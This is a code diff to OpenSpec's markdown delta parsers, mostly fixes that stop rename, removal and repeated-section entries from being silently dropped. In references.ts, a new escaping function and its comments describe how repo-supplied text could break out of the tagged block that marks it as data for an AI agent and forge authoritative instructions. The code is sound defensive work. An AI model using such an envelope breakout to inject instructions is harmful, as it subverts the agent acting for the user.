+  const headerLine = `### Requirement: ${name}`;
+  return { headerLine, name, raw: headerLine };
+}
+
 export class ChangeParser extends MarkdownParser {
   private changeDir: string;
 
@@ -32,15 +39,16 @@ export class ChangeParser extends MarkdownParser {
       throw new Error('Change must have a What Changes section');
     }
 
-    // Parse deltas from the What Changes section (simple format)
-    const simpleDeltas = this.parseDeltas(whatChanges);
-    
-    // Check if there are spec files with delta format
-    const specsDir = path.join(this.changeDir, 'specs');
-    const deltaDeltas = await this.parseDeltaSpecs(specsDir);
-    
-    // Combine both types of deltas, preferring delta format if available
-    const deltas = deltaDeltas.length > 0 ? deltaDeltas : simpleDeltas;
+    // Delta spec files that carry a delta section are the only source of
+    // structured deltas, even when those sections hold no entry archive can
+    // apply. Falling back to the "What Changes" prose then reported operations
+    // that never happen: a bullet-form REMOVED showed up as an invented
+    // MODIFIED. The prose (simple format) is still read when no spec file
+    // carries a delta section at all: a change with no spec files, or a legacy
+    // change whose specs/ hold full future-state specs.
+    const specFiles = await discoverSpecFiles(path.join(this.changeDir, 'specs'));
+    const { deltas: specDeltas, hasDeltaSections } = await this.parseDeltaSpecs(specFiles);
+    const deltas = hasDeltaSections ? specDeltas : this.parseDeltas(whatChanges);
 
     return {
       name,
@@ -54,25 +62,27 @@ export class ChangeParser extends MarkdownParser {
     };
   }
 
-  private async parseDeltaSpecs(specsDir: string): Promise<Delta[]> {
+  // The spec files come from discoverSpecFiles, which walks specs/ recursively
+  // so nested layouts like specs/<area>/<capability>/spec.md are parsed too (#1353)
+  private async parseDeltaSpecs(
+    specFiles: DiscoveredSpec[]
+  ): Promise<{ deltas: Delta[]; hasDeltaSections: boolean }> {
     const deltas: Delta[] = [];
-
-    // Discover delta specs recursively so nested layouts like
-    // specs/<area>/<capability>/spec.md are parsed too (#1353)
-    const specFiles = await discoverSpecFiles(specsDir);
+    let hasDeltaSections = false;
 
     for (const { id, specFile } of specFiles) {
       try {
         const content = await fs.readFile(specFile, 'utf-8');
-        const specDeltas = this.parseSpecDeltas(id, content);
-        deltas.push(...specDeltas);
+        const plan = parseDeltaSpec(content);
+        if (Object.values(plan.sectionPresence).some(Boolean)) hasDeltaSections = true;
+        deltas.push(...this.parseSpecDeltas(id, plan));
       } catch (error) {
         // Spec file might not be readable, which is okay
         continue;
       }
     }
 
-    return deltas;
+    return { deltas, hasDeltaSections };
   }
 
   /**
@@ -98,99 +108,82 @@ export class ChangeParser extends MarkdownParser {
     });
   }
 
-  private parseSpecDeltas(specName: string, content: string): Delta[] {
+  /**
+   * The deltas in one spec file, read by parseDeltaSpec — the reader archive
+   * applies — so what `show` reports is what archive will do. This used to be a
+   * second reader that disagreed with it: a bullet-form REMOVED was invisible,
+   * a repeated section header was read only once, and a RENAMED line written
+   * with `*` or `+` was dropped.
+   */
+  private parseSpecDeltas(specName: string, plan: DeltaPlan): Delta[] {
     const deltas: Delta[] = [];
-    const sections = this.parseSectionsFromContent(content);
-    
+
     // Parse ADDED requirements
-    const addedSection = this.findSection(sections, 'ADDED Requirements');
-    if (addedSection) {
-      const requirements = this.parseRequirements(addedSection);
-      requirements.forEach(req => {
-        deltas.push({
-          spec: specName,
-          operation: 'ADDED' as DeltaOperation,
-          description: `Add requirement: ${req.text}`,
-          // Provide both single and plural forms for compatibility
-          requirement: req,
-          requirements: [req],
-        });
+    this.toRequirements(plan.added).forEach(req => {
+      deltas.push({
+        spec: specName,
+        operation: 'ADDED' as DeltaOperation,
+        description: `Add requirement: ${req.text}`,
+        // Provide both single and plural forms for compatibility
+        requirement: req,
+        requirements: [req],
       });
-    }
-    
+    });
+
     // Parse MODIFIED requirements
-    const modifiedSection = this.findSection(sections, 'MODIFIED Requirements');
-    if (modifiedSection) {
-      const requirements = this.parseRequirements(modifiedSection);
-      requirements.forEach(req => {
-        deltas.push({
-          spec: specName,
-          operation: 'MODIFIED' as DeltaOperation,
-          description: `Modify requirement: ${req.text}`,
-          requirement: req,
-          requirements: [req],
-        });
+    this.toRequirements(plan.modified).forEach(req => {
+      deltas.push({
+        spec: specName,
+        operation: 'MODIFIED' as DeltaOperation,
+        description: `Modify requirement: ${req.text}`,
+        requirement: req,
+        requirements: [req],
       });
-    }
-    
-    // Parse REMOVED requirements
-    const removedSection = this.findSection(sections, 'REMOVED Requirements');
-    if (removedSection) {
-      const requirements = this.parseRequirements(removedSection);
-      requirements.forEach(req => {
-        deltas.push({
-          spec: specName,
-          operation: 'REMOVED' as DeltaOperation,
-          description: `Remove requirement: ${req.text}`,
-          requirement: req,
-          requirements: [req],
-        });
+    });
+
+    // Parse REMOVED requirements, in document order. A bullet-form entry
+    // carries only a name, so it reads as a header-form removal with no body.
+    const removedBlocks = [...plan.removedBlocks];
+    const removed = plan.removed.map((name) => {
+      const index = removedBlocks.findIndex((block) => block.name === name);
+      return index === -1 ? removedNameBlock(name) : removedBlocks.splice(index, 1)[0];
+    });
+    this.toRequirements(removed).forEach(req => {
+      deltas.push({
+        spec: specName,
+        operation: 'REMOVED' as DeltaOperation,
+        description: `Remove requirement: ${req.text}`,
+        requirement: req,
+        requirements: [req],
       });
-    }
-    
+    });
+
     // Parse RENAMED requirements
-    const renamedSection = this.findSection(sections, 'RENAMED Requirements');
-    if (renamedSection) {
-      const renames = this.parseRenames(renamedSection.content);
-      renames.forEach(rename => {
-        deltas.push({
-          spec: specName,
-          operation: 'RENAMED' as DeltaOperation,
-          description: `Rename requirement from "${rename.from}" to "${rename.to}"`,
-          rename,
-        });
+    plan.renamed.forEach(rename => {
+      deltas.push({
+        spec: specName,
+        operation: 'RENAMED' as DeltaOperation,
+        description: `Rename requirement from "${rename.from}" to "${rename.to}"`,
+        rename,
       });
-    }
-    
+    });
+
     return deltas;
   }
 
-  private parseRenames(content: string): Array<{ from: string; to: string }> {
-    const renames: Array<{ from: string; to: string }> = [];
-    const lines = ChangeParser.normalizeContent(content).split('\n');
-    
-    let currentRename: { from?: string; to?: string } = {};
-    
-    for (const line of lines) {
-      const fromMatch = line.match(/^\s*-?\s*FROM:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
-      const toMatch = line.match(/^\s*-?\s*TO:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
-      
-      if (fromMatch) {
-        currentRename.from = fromMatch[1].trim();
-      } else if (toMatch) {
-        currentRename.to = toMatch[1].trim();
-        
-        if (currentRename.from && currentRename.to) {
-          renames.push({
-            from: currentRename.from,
-            to: currentRename.to,
-          });
-          currentRename = {};
-        }
-      }
-    }
-    
-    return renames;
+  /**
+   * One Requirement per block, read by the same section parser (and the
+   * header filter above) as before, so text and scenarios are unchanged.
+   */
+  private toRequirements(blocks: RequirementBlock[]): Requirement[] {
+    return blocks.flatMap((block) => {
+      const [headerLine, ...body] = block.raw.split('\n');
+      // Canonical header: the delta reader also accepts `###Requirement:` with
+      // no space, which the section parser would not see as a header.
+      const title = headerLine.replace(/^###\s*/, '').trim();
+      const [section] = this.parseSectionsFromContent([`### ${title}`, ...body].join('\n'));
+      return this.parseRequirements({ level: 2, title: '', content: '', children: [section] });
+    });
   }
 
   private parseSectionsFromContent(content: string): Section[] {

src/core/parsers/markdown-parser.ts

@@ -1,5 +1,5 @@
 import { Spec, Change, Requirement, Scenario, Delta, DeltaOperation } from '../schemas/index.js';
-import { buildCodeFenceMask, extractRequirementText } from './requirement-text.js';
+import { buildCodeFenceMask, extractRequirementText, hasScenarioBody } from './requirement-text.js';
 
 export interface Section {
   level: number;
@@ -172,8 +172,9 @@ export class MarkdownParser {
     const scenarios: Scenario[] = [];
     
     for (const scenarioSection of requirementSection.children) {
-      // Store the raw text content of the scenario section
-      if (scenarioSection.content.trim()) {
+      // Store the raw text content of the scenario section. A header with no
+      // body is not a scenario; the delta counter applies the same rule.
+      if (hasScenarioBody(scenarioSection.content)) {
         scenarios.push({
           rawText: scenarioSection.content
         });

src/core/parsers/requirement-blocks.ts

@@ -15,15 +15,20 @@ export interface RequirementsSectionParts {
 }
 
 export function normalizeRequirementName(name: string): string {
-  return name.trim();
+  // An ATX heading may end in a closing run of `#`s: `### Requirement: Foo ###`
+  // renders as `Foo`, so the run is not part of the name. As for scenario names,
+  // only a run preceded by a space or tab closes the heading, so `C#` keeps its
+  // `#`, and `[ \t]` rather than `\s` keeps an NBSP-separated run in the name.
+  return name.replace(/[ \t]+#+[ \t]*$/, '').trim();
 }
 
 /**
  * Case- and whitespace-insensitive fold of a requirement name. Requirement
  * matching itself is case-sensitive (normalizeRequirementName); this fold
- * exists only for typo detection - near-miss REMOVED headers and the
- * RENAMED+REMOVED cross-section conflict - where two spellings that differ
- * only in case or interior whitespace mean a mistake, never two requirements.
+ * exists only for typo detection - near-miss REMOVED, ADDED and RENAMED
+ * headers and the RENAMED+REMOVED cross-section conflict - where two spellings
+ * that differ only in case or interior whitespace mean a mistake, never two
+ * requirements.
  */
 export function foldRequirementName(name: string): string {
   return normalizeRequirementName(name).toLowerCase().replace(/\s+/g, ' ');
@@ -126,6 +131,44 @@ export interface SkippedHeader {
   line: number; // 1-based line number in the delta file
 }
 
+/**
+ * A `FROM:` or `TO:` line in `## RENAMED Requirements` that never formed a pair,
+ * recorded at the moment the reader steps over it.
+ *
+ * The pair reader used to carry one mutable `{ from, to }` and drop whatever did
+ * not fit: a second `FROM:` overwrote an unpaired first, a `TO:` with no pending
+ * `FROM:` vanished, and a trailing `FROM:` was forgotten at the end of the
+ * section. Nothing counted any of it, so a rename the author asked for could
+ * silently not happen - or, when the lines interleaved, a DIFFERENT requirement
+ * could be renamed under a name meant for another one.
+ *
+ * Recording them is what lets `validate` report the problem and `buildUpdatedSpec`
+ * refuse, rather than guess a pairing and rewrite the spec from it.
+ */
+export interface UnpairedRename {
+  side: 'FROM' | 'TO';
+  name: string; // requirement name as written
+  line: number; // 1-based line number in the delta file
+}
+
+/**
+ * A canonical `### Requirement:` block that sits outside every delta section -
+ * under `## Notes`, under a misspelled `## Add Requirements`, or above the
+ * first `## ` header entirely.
+ *
+ * The delta reader only ever looks inside the four delta sections, so a block
+ * written anywhere else was dropped with no error, no warning and no note -
+ * even though it is well formed and reads exactly like one that would apply.
+ * That was the inconsistency worth closing: the ADJACENT mistake, a
+ * non-canonical `###` header INSIDE a delta section, has been reported as INFO
+ * since #498 (`skippedHeaders`), while the costlier one said nothing at all.
+ */
+export interface OrphanedRequirement {
+  name: string; // requirement name as written
+  section: string | null; // the `## ` section it sits under, or null above the first one
+  line: number; // 1-based line number in the delta file
+}
+
 export interface DeltaPlan {
   added: RequirementBlock[];
   modified: RequirementBlock[];
@@ -135,6 +178,10 @@ export interface DeltaPlan {
   // reader of the removal needs. Empty for the bullet-list form, which has none.
   removedBlocks: RequirementBlock[];
   renamed: Array<{ from: string; to: string }>;
+  /** FROM:/TO: lines in RENAMED that never formed a pair. */
+  unpairedRenames: UnpairedRename[];
+  /** Canonical requirement blocks written outside every delta section. */
+  orphanedRequirements: OrphanedRequirement[];
   skippedHeaders: SkippedHeader[]; // non-canonical ### headers the reader skipped
   sectionPresence: {
     added: boolean;
@@ -169,24 +216,37 @@ export function parseDeltaSpec(content: string): DeltaPlan {
   const lines = normalized.split('\n');
   const fenceMask = buildCodeFenceMask(lines);
   const sections = splitTopLevelSections(lines, fenceMask);
-  const addedLookup = getSectionCaseInsensitive(sections, 'ADDED Requirements');
-  const modifiedLookup = getSectionCaseInsensitive(sections, 'MODIFIED Requirements');
-  const removedLookup = getSectionCaseInsensitive(sections, 'REMOVED Requirements');
-  const renamedLookup = getSectionCaseInsensitive(sections, 'RENAMED Requirements');
+  const addedLookup = getSectionsCaseInsensitive(sections, 'ADDED Requirements');
+  const modifiedLookup = getSectionsCaseInsensitive(sections, 'MODIFIED Requirements');
+  const removedLookup = getSectionsCaseInsensitive(sections, 'REMOVED Requirements');
+  const renamedLookup = getSectionsCaseInsensitive(sections, 'RENAMED Requirements');
   const skippedHeaders: SkippedHeader[] = [];
-  const added = parseRequirementBlocksFromSection(addedLookup.body, {
-    section: addedLookup.title,
-    bodyStartLine: addedLookup.bodyStartLine,
-    sink: skippedHeaders,
-  });
-  const modified = parseRequirementBlocksFromSection(modifiedLookup.body, {
-    section: modifiedLookup.title,
-    bodyStartLine: modifiedLookup.bodyStartLine,
-    sink: skippedHeaders,
-  });
-  const removedNames = parseRemovedNames(removedLookup.body);
-  const removedBlocks = parseRequirementBlocksFromSection(removedLookup.body);
-  const renamedPairs = parseRenamedPairs(renamedLookup.body);
+  const added = addedLookup.bodies.flatMap((body) =>
+    parseRequirementBlocksFromSection(body, {
+      section: addedLookup.title,
+      bodyStartLine: body.bodyStartLine,
+      sink: skippedHeaders,
+    })
+  );
+  const modified = modifiedLookup.bodies.flatMap((body) =>
+    parseRequirementBlocksFromSection(body, {
+      section: modifiedLookup.title,
+      bodyStartLine: body.bodyStartLine,
+      sink: skippedHeaders,
+    })
+  );
+  const removedNames = removedLookup.bodies.flatMap((body) => parseRemovedNames(body));
+  const removedBlocks = removedLookup.bodies.flatMap((body) =>
+    parseRequirementBlocksFromSection(body)
+  );
+  // Pairs are read per section, so a FROM in one copy of the header can never
+  // pair with a TO in another: a FROM left pending at the end of one copy is
+  // reported as unpaired rather than carried into the next.
+  const unpairedRenames: UnpairedRename[] = [];
+  const renamedPairs = renamedLookup.bodies.flatMap((body) =>
+    parseRenamedPairs(body, unpairedRenames)
+  );
+  unpairedRenames.sort((a, b) => a.line - b.line);
   skippedHeaders.sort((a, b) => a.line - b.line);
   return {
     added,
@@ -194,6 +254,8 @@ export function parseDeltaSpec(content: string): DeltaPlan {
     removed: removedNames,
     removedBlocks,
     renamed: renamedPairs,
+    unpairedRenames,
+    orphanedRequirements: findOrphanedRequirements(lines, fenceMask),
     skippedHeaders,
     sectionPresence: {
       added: addedLookup.found,
@@ -204,8 +266,71 @@ export function parseDeltaSpec(content: string): DeltaPlan {
   };
 }
 
-function splitTopLevelSections(lines: string[], fenceMask: boolean[]): Record<string, SectionBody> {
-  const result: Record<string, SectionBody> = {};
+/**
+ * The four section titles the delta reader acts on, folded the way
+ * `getSectionsCaseInsensitive` folds them. Matching the reader exactly matters:
+ * a looser test (say, any run of whitespace) would treat `## ADDED  Requirements`
+ * as a delta section here while the reader ignores it, and the requirements
+ * under it would be dropped without this warning.
+ */
+const DELTA_SECTION_TITLES = new Set(
+  ['ADDED Requirements', 'MODIFIED Requirements', 'REMOVED Requirements', 'RENAMED Requirements'].map(
+    (title) => title.toLowerCase()
+  )
+);
+
+/**
+ * Every canonical `### Requirement:` header that is not inside a delta section,
+ * in document order.
+ *
+ * Walks the whole file rather than the parsed sections so a requirement written
+ * ABOVE the first `## ` header is reported too - it is dropped just as silently
+ * as one under `## Notes`. Fenced lines are skipped, so a requirement shown
+ * inside a markdown example is not mistaken for an authored one.
+ */
+function findOrphanedRequirements(
+  lines: string[],
+  fenceMask: boolean[]
+): OrphanedRequirement[] {
+  const orphans: OrphanedRequirement[] = [];
+  let section: string | null = null;
+  for (let i = 0; i < lines.length; i++) {
+    if (fenceMask[i]) continue;
+    // The same `## ` test splitTopLevelSections uses, so both agree on sections.
+    const sectionMatch = lines[i].match(/^(##)\s+(.+)$/);
+    if (sectionMatch) {
+      section = sectionMatch[2].trim();
+      continue;
+    }
+    if (section !== null && DELTA_SECTION_TITLES.has(section.toLowerCase())) continue;
+    const header = lines[i].match(REQUIREMENT_HEADER_REGEX);
+    if (header) {
+      orphans.push({
+        name: normalizeRequirementName(header[1]),
+        section,
+        line: i + 1,
+      });
+    }
+  }
+  return orphans;
+}
+
+/** One `## ` section of a delta file, in the order it was written. */
+interface DeltaSection {
+  title: string;
+  body: SectionBody;
+}
+
+/**
+ * Every `## ` section, as a LIST rather than a title-keyed record.
+ *
+ * Keying by title silently dropped a repeated header: a delta that wrote
+ * `## ADDED Requirements` twice kept only the last body, so every requirement
+ * under the first copy was discarded before any validation or merge rule could
+ * see it. A list keeps each occurrence, and the lookup below merges them.
+ */
+function splitTopLevelSections(lines: string[], fenceMask: boolean[]): DeltaSection[] {
+  const sections: DeltaSection[] = [];
   const indices: Array<{ title: string; index: number }> = [];
   for (let i = 0; i < lines.length; i++) {
     if (fenceMask[i]) continue;
@@ -218,28 +343,43 @@ function splitTopLevelSections(lines: string[], fenceMask: boolean[]): Record<st
     const current = indices[i];
     const next = indices[i + 1];
     const end = next ? next.index : lines.length;
-    result[current.title] = {
-      lines: lines.slice(current.index + 1, end),
-      fenceMask: fenceMask.slice(current.index + 1, end),
-      bodyStartLine: current.index + 2,
-    };
+    sections.push({
+      title: current.title,
+      body: {
+        lines: lines.slice(current.index + 1, end),
+        fenceMask: fenceMask.slice(current.index + 1, end),
+        bodyStartLine: current.index + 2,
+      },
+    });
   }
-  return result;
+  return sections;
 }
 
-const EMPTY_SECTION_BODY: SectionBody = { lines: [], fenceMask: [], bodyStartLine: 0 };
-
-function getSectionCaseInsensitive(
-  sections: Record<string, SectionBody>,
+/**
+ * Every section body whose title folds to `desired`, in document order.
+ *
+ * Returning all of them - rather than the first match - is what makes a
+ * repeated header (`## ADDED Requirements` twice) and a case variant
+ * (`## ADDED Requirements` + `## Added Requirements`) both apply in full. Each
+ * body keeps its own `bodyStartLine`, so reported line numbers stay correct for
+ * the copy the header actually came from.
+ *
+ * `title` is the first spelling the author used, which is what diagnostics quote.
+ */
+function getSectionsCaseInsensitive(
+  sections: DeltaSection[],
   desired: string
-): { title: string; body: SectionBody; bodyStartLine: number; found: boolean } {
+): { title: string; bodies: SectionBody[]; found: boolean } {
   const target = desired.toLowerCase();
-  for (const [title, body] of Object.entries(sections)) {
-    if (title.toLowerCase() === target) {
-      return { title, body, bodyStartLine: body.bodyStartLine, found: true };
-    }
+  const matches = sections.filter((section) => section.title.toLowerCase() === target);
+  if (matches.length === 0) {
+    return { title: desired, bodies: [], found: false };
   }
-  return { title: desired, body: EMPTY_SECTION_BODY, bodyStartLine: 0, found: false };
+  return {
+    title: matches[0].title,
+    bodies: matches.map((section) => section.body),
+    found: true,
+  };
 }
 
 function parseRequirementBlocksFromSection(
@@ -286,6 +426,13 @@ function parseRequirementBlocksFromSection(
   return blocks;
 }
 
+/**
+ * Requirement names listed in `## REMOVED Requirements`, in document order.
+ *
+ * Two spellings are accepted: a plain `### Requirement:` header, and a bullet
+ * carrying one. Every CommonMark bullet marker counts for the second form -
+ * see the pattern below for why that matters.
+ */
 function parseRemovedNames(sectionBody: SectionBody): string[] {
   const { lines, fenceMask } = sectionBody;
   if (lines.length === 0) return [];
@@ -298,8 +445,11 @@ function parseRemovedNames(sectionBody: SectionBody): string[] {
       names.push(normalizeRequirementName(m[1]));
       continue;
     }
-    // Also support bullet list of headers
-    const bullet = line.match(/^\s*-\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
+    // Also support bullet list of headers. Every CommonMark bullet marker
+    // counts: `*` and `+` open a list exactly as `-` does, so accepting only
+    // `-` turned a removal written with either of them into a silent no-op -
+    // archive reported success while the requirement stayed in the spec.
+    const bullet = line.match(/^\s*[-*+]\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
     if (bullet) {
       names.push(normalizeRequirementName(bullet[1]));
     }
@@ -307,26 +457,60 @@ function parseRemovedNames(sectionBody: SectionBody): string[] {
   return names;
 }
 
-function parseRenamedPairs(sectionBody: SectionBody): Array<{ from: string; to: string }> {
-  const { lines, fenceMask } = sectionBody;
+/**
+ * Read `FROM:`/`TO:` entries into rename pairs, recording every line that never
+ * formed one.
+ *
+ * A pair is a `FROM:` followed by a `TO:` with no second `FROM:` in between -
+ * the shape the documented format uses. Anything else is reported through
+ * `unpaired` rather than absorbed:
+ *
+ *   - a `FROM:` displaced by another `FROM:` before its `TO:` arrived
+ *   - a `TO:` with no pending `FROM:`
+ *   - a `FROM:` still pending when the section ends
+ *
+ * Silently dropping these is what let a requested rename not happen, and what
+ * let interleaved lines (`FROM a`, `FROM b`, `TO x`, `TO y`) pair b with x -
+ * renaming a requirement the author never named, under a name meant for a
+ * different one. Callers refuse the delta instead of guessing.
+ *
+ * The bullet is optional, and every CommonMark bullet marker is accepted: a
+ * rename written with `*` or `+` used to match nothing at all, so the rename
+ * silently never happened while archive still reported success.
+ */
+function parseRenamedPairs(
+  sectionBody: SectionBody,
+  unpaired?: UnpairedRename[]
+): Array<{ from: string; to: string }> {
+  const { lines, fenceMask, bodyStartLine } = sectionBody;
   if (lines.length === 0) return [];
   const pairs: Array<{ from: string; to: string }> = [];
-  let current: { from?: string; to?: string } = {};
+  let pending: { name: string; line: number } | undefined;
+  const drop = (side: 'FROM' | 'TO', name: string, line: number) => {
+    unpaired?.push({ side, name, line });
+  };
   for (let i = 0; i < lines.length; i++) {
     if (fenceMask[i]) continue;
     const line = lines[i];
-    const fromMatch = line.match(/^\s*-?\s*FROM:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
-    const toMatch = line.match(/^\s*-?\s*TO:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
+    // The bullet stays optional, and any CommonMark marker is accepted: a rename
+    // written with `*` or `+` used to match nothing at all, so the rename never
+    // happened while archive still reported success.
+    const fromMatch = line.match(/^\s*[-*+]?\s*FROM:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
+    const toMatch = line.match(/^\s*[-*+]?\s*TO:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/);
     if (fromMatch) {
-      current.from = normalizeRequirementName(fromMatch[1]);
+      if (pending) drop('FROM', pending.name, pending.line);
+      pending = { name: normalizeRequirementName(fromMatch[1]), line: bodyStartLine + i };
     } else if (toMatch) {
-      current.to = normalizeRequirementName(toMatch[1]);
-      if (current.from && current.to) {
-        pairs.push({ from: current.from, to: current.to });
-        current = {};
+      const to = normalizeRequirementName(toMatch[1]);
+      if (!pending) {
+        drop('TO', to, bodyStartLine + i);
+        continue;
       }
+      pairs.push({ from: pending.name, to });
+      pending = undefined;
     }
   }
+  if (pending) drop('FROM', pending.name, pending.line);
   return pairs;
 }
 

src/core/parsers/requirement-text.ts

@@ -26,9 +26,24 @@ const HEADER_LINE = /^#{1,6}\s/;
  * as a scenario, so the delta counter must too (parity). The delta/loss path
  * reuses this exact constant via `scenarioHeaderAt` in requirement-blocks.ts;
  * keep both paths on it rather than reintroducing a separate `Scenario:` regex.
+ * A header alone is not yet a scenario on either path: see hasScenarioBody.
  */
 export const SCENARIO_HEADER = /^####\s+/;
 
+/** A header at scenario level or above (`#` to `####`): where a scenario body ends. */
+const SCENARIO_BODY_END = /^#{1,4}\s/;
+
+/**
+ * Whether a scenario's body has content. The spec path
+ * (`MarkdownParser.parseScenarios`) drops a scenario whose body is empty, so
+ * the delta counter must too (parity): otherwise `validate` accepts a
+ * requirement whose only scenario is a bare header, and archive rejects it when
+ * it validates the rebuilt spec.
+ */
+export function hasScenarioBody(body: string): boolean {
+  return body.trim().length > 0;
+}
+
 /**
  * The one predicate for normative-keyword detection. Matches `SHALL` or `MUST`
  * as whole words so the change-delta reader and the schema-based reader accept
@@ -88,15 +103,31 @@ export function extractRequirementText(headerTitle: string, bodyLines: string[])
 
 /**
  * Count the real scenarios in a requirement block: `#### ` headers on non-fenced
- * lines. A `#### Scenario:` that lives inside a fenced example is not a real
- * scenario and is not counted.
+ * lines whose body has content. A `#### Scenario:` that lives inside a fenced
+ * example is not a real scenario and is not counted.
  */
 export function countScenarios(bodyLines: string[]): number {
+  return readScenarioBodies(bodyLines).filter(hasScenarioBody).length;
+}
+
+/** Count the `#### ` headers in a requirement block that have no body under them. */
+export function countEmptyScenarios(bodyLines: string[]): number {
+  return readScenarioBodies(bodyLines).filter((body) => !hasScenarioBody(body)).length;
+}
+
+/**
+ * The body of each scenario in a requirement block. A body runs to the next
+ * non-fenced header of level 4 or above, the boundary the spec path uses, so a
+ * fenced block or a deeper `#####` header is part of it.
+ */
+function readScenarioBodies(bodyLines: string[]): string[] {
   const mask = buildCodeFenceMask(bodyLines);
-  let count = 0;
+  const bodies: string[] = [];
   for (let i = 0; i < bodyLines.length; i++) {
-    if (mask[i]) continue;
-    if (SCENARIO_HEADER.test(bodyLines[i])) count++;
+    if (mask[i] || !SCENARIO_HEADER.test(bodyLines[i])) continue;
+    let end = i + 1;
+    while (end < bodyLines.length && (mask[end] || !SCENARIO_BODY_END.test(bodyLines[end]))) end++;
+    bodies.push(bodyLines.slice(i + 1, end).join('\n'));
   }
-  return count;
+  return bodies;
 }

src/core/parsers/spec-structure.ts

@@ -1,4 +1,5 @@
 import { buildCodeFenceMask } from './code-fence.js';
+import { normalizeRequirementName } from './requirement-blocks.js';
 
 const REQUIREMENTS_SECTION_HEADER = /^##\s+Requirements\s*$/i;
 const TOP_LEVEL_SECTION_HEADER = /^##\s+/;
@@ -73,7 +74,9 @@ export function findMainSpecStructureIssues(content: string): MainSpecStructureI
       continue;
     }
 
-    const requirementName = requirementMatch[1].trim();
+    // The same name every other reader uses, so a closed heading
+    // (`### Requirement: Foo ###`) duplicates `### Requirement: Foo`.
+    const requirementName = normalizeRequirementName(requirementMatch[1]);
     const previousLine = requirementLines.get(requirementName);
     if (previousLine !== undefined) {
       issues.push({

src/core/project-config.ts

@@ -3,6 +3,8 @@ import path from 'path';
 import { parse as parseYaml } from 'yaml';
 import { z } from 'zod';
 
+import { getStoreMetadataPath } from './store/foundation.js';
+
 export const OPERATION_IDS = ['apply', 'archive'] as const;
 export type OperationId = (typeof OPERATION_IDS)[number];
 
@@ -577,7 +579,10 @@ export function storePointerProblem(reason: 'unparseable' | 'non_string'): strin
 }
 
 export interface OpenSpecDirClassification {
-  /** True when openspec/specs or openspec/changes exists as a directory. */
+  /**
+   * True when openspec/specs or openspec/changes exists as a directory
+   * that is not itself a store root.
+   */
   hasPlanningShape: boolean;
   pointer: StorePointerRead;
 }
@@ -586,15 +591,24 @@ export interface OpenSpecDirClassification {
  * One classification for "real root vs config-only pointer dir", shared
  * by root resolution and the init pointer guard so they can never
  * disagree (slice 3.2).
+ *
+ * A specs/ or changes/ directory carrying store metadata is a store at
+ * the recommended `~/openspec/<id>` layout whose id is `specs` or
+ * `changes`, not planning content of the directory above it. Counting it
+ * would make $HOME the phantom root the qualifying walk exists to prevent.
  */
 export function classifyOpenSpecDir(projectRoot: string): OpenSpecDirClassification {
   const openspecDir = path.join(projectRoot, 'openspec');
   const hasPlanningShape =
-    isDirectorySync(path.join(openspecDir, 'specs')) ||
-    isDirectorySync(path.join(openspecDir, 'changes'));
+    isPlanningDirectorySync(path.join(openspecDir, 'specs')) ||
+    isPlanningDirectorySync(path.join(openspecDir, 'changes'));
   return { hasPlanningShape, pointer: readStorePointer(projectRoot) };
 }
 
+function isPlanningDirectorySync(candidatePath: string): boolean {
+  return isDirectorySync(candidatePath) && !existsSync(getStoreMetadataPath(candidatePath));
+}
+
 function isDirectorySync(candidatePath: string): boolean {
   try {
     return statSync(candidatePath).isDirectory();

src/core/references.ts

@@ -243,6 +243,73 @@ export function sanitizeInline(value: string, maxLength = 300): string {
   return flattened.length > maxLength ? `${flattened.slice(0, maxLength)}…` : flattened;
 }
 
+/**
+ * The tags the instruction printer uses to frame its blocks. A block ends at
+ * its own closing tag and nowhere else, so this is the entire breakout
+ * surface: neutralize these and repo-supplied text cannot escape the element
+ * that marks it as data.
+ */
+const ENVELOPE_TAGS = [
+  'artifact',
+  'dependencies',
+  'dependency',
+  'description',
+  'instruction',
+  'output',
+  'path',
+  'project_context',
+  'rules',
+  'success_criteria',
+  'task',
+  'template',
+  'unlocks',
+  'warning',
+] as const;
+
+// The attribute tail uses `[^<>]` rather than `[^>]` so a run of unterminated
+// `<task ...` openers cannot make each start position scan to end of input,
+// which is how the first version of this escape became quadratic. The separator
+// is `\s`, not a space or tab: XML allows a line break before `>` or an
+// attribute, so a multiline repo value could otherwise split a tag past this.
+const ENVELOPE_TAG = new RegExp(
+  `<(/?)(${ENVELOPE_TAGS.join('|')})(\\s[^<>]*)?>`,
+  'gi'
+);
+
+/**
+ * Neutralize the envelope's own tags - opening and closing - in repo-supplied
+ * text, so it cannot close the block that frames it as data nor forge a new
+ * block that carries authority.
+ *
+ * Deliberately narrow: only this fixed vocabulary is touched. Escaping every
+ * angle bracket also works, but it mangles ordinary content for everyone.
+ * OpenSpec's own spec-driven schema writes `### Requirement: <name>` and
+ * `openspec show "<spec-id>"`; custom templates carry `<details>`; and
+ * `context:` routinely holds `R&D`, `pnpm build && pnpm test` or
+ * `Result<T, E>`. All of those would reach the agent entity-encoded - a real
+ * cost paid by every user, against a threat only these tags can carry.
+ */
+export function escapeEnvelopeTags(value: string): string {
+  return value.replace(
+    ENVELOPE_TAG,
+    (_match, slash: string, tag: string, attrs: string | undefined) =>
+      `&lt;${slash}${tag}${attrs ?? ''}&gt;`
+  );
+}
+
+/**
+ * Attribute values are ids and directory names, never prose, so escaping every
+ * metacharacter here costs nothing and stops a quote from closing the
+ * attribute and forging siblings on the tag.
+ */
+export function escapeEnvelopeAttribute(value: string): string {
+  return value
+    .replace(/&/g, '&amp;')
+    .replace(/</g, '&lt;')
+    .replace(/>/g, '&gt;')
+    .replace(/"/g, '&quot;');
+}
+
 function renderEntryLines(entry: ReferenceIndexEntry): string[] {
   const lines: string[] = [];
 

src/core/shared/skill-content-equivalence.ts

@@ -14,8 +14,12 @@ function normalizeGeneratedSkill(content: string): string {
   const frontmatter = normalized.match(/^---\n[\s\S]*?\n---(?:\n|$)/)?.[0];
   if (!frontmatter) return normalized;
 
+  // `[ \t]` rather than `\s` so a leading/trailing whitespace run can never
+  // cross a newline: an `m`-anchored `\s*` re-scans from every line start,
+  // which is quadratic on a whitespace-heavy frontmatter. YAML indentation is
+  // spaces and tabs only, so matching is unchanged.
   const versionLine =
